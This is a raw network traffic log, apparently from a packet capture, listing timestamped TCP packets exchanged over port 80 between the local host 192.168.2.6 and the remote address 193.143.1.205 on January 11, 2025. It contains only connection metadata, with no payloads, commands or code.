Jan 11, 2025 07:59:01.930460930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.937932014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.937969923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.938002110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.938154936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.972336054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.972378969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:01.972426891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:01.989672899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.007133007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007191896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007241964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007277012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007309914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007366896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007397890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007396936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.007396936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.007435083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007570982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.007649899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.007791042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007843018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007877111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007925987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007976055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.007987976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.007987976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008009911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008059025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008085012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008091927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008126020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008157969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008189917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008196115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008196115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008222103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008255005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008286953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008320093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008330107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008330107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008354902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008407116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008413076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008446932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008495092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008527994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008560896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008594036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008594036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008610964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008644104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008676052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008708954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008743048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.008785963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008785963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.008785963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009021044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009052992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009087086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009133101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009134054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009169102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009201050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009233952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009264946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009298086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009330034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009340048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009340048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009340048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009362936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009376049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009394884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009429932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009462118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009495974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009505987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009505987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009532928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.009685040 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.009942055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010004997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010037899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010070086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010175943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010209084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010241985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010243893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010276079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010307074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010339975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010348082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010348082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010371923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010406017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010438919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010472059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010495901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010504007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010538101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010571003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010617971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010617971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010617971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.010950089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.010982037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.011015892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.011044025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.011048079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.011080980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.011112928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.011146069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.011168957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.011168957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.016706944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.016757011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.016803026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.016834974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.016880035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.016880989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.022974014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.024512053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.024561882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.024573088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.024596930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.024631023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.024663925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.024713993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.024713993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.029460907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.058813095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.058847904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.058881044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.058967113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.093873978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.093908072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.093940020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.093990088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094022989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094054937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094067097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.094067097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.094067097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.094088078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094120979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094171047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094202995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094235897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094276905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.094276905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.094276905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.094285011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094319105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094352007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.094414949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.128417015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128472090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128504992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128540039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128561020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.128590107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128596067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.128623962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128671885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128684998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.128706932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128739119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128771067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128803015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128834963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.128880024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.128880024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.128880024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129125118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129173040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129205942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129266977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129300117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129332066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129338980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129338980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129338980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129367113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129399061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129431009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129462957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129496098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129528999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129533052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129533052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129533052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129579067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129611969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129643917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129676104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129678965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129714012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129745007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129766941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129776955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129797935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129829884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129879951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129911900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129944086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129975080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.129987955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129987955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.129987955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130007029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130053997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130086899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130120039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130170107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130201101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130213022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130213022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130213022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130234957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130275011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130307913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130338907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130372047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130404949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130409956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130409956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130409956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130436897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130469084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130481005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130501032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130533934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130567074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130599022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130630970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130666018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.130671978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130671978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.130671978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.134649038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134681940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134733915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134740114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.134783030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134815931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134846926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134865999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.134865999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.134897947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134929895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134962082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.134994030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135026932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135059118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135091066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135102034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135102034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135102034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135127068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135176897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135209084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135242939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135276079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135283947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135283947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135283947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135333061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135385036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135416985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135448933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135481119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135514975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135521889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135521889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135521889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135548115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135580063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135612011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135643959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135660887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135675907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135710001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135756969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135756969 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.135902882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135934114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135967016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.135998011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.136028051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.136029959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.136061907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.136096001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.136135101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.136135101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.136135101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.145441055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145492077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145529032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145560980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145595074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145627022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145648003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.145648003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.145661116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.145749092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.180654049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180706978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180763006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180799961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180834055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180867910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180900097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180919886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.180919886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.180919886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.180937052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.180972099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181006908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181039095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181073904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181047916 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.181107044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181139946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181159973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.181159973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.181159973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.181174040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181207895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.181246996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.215420008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215492964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215533018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215583086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215617895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:59:02.215626001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:59:02.215626001 CET	49710	80	192.168.2.6	193.143.1.205
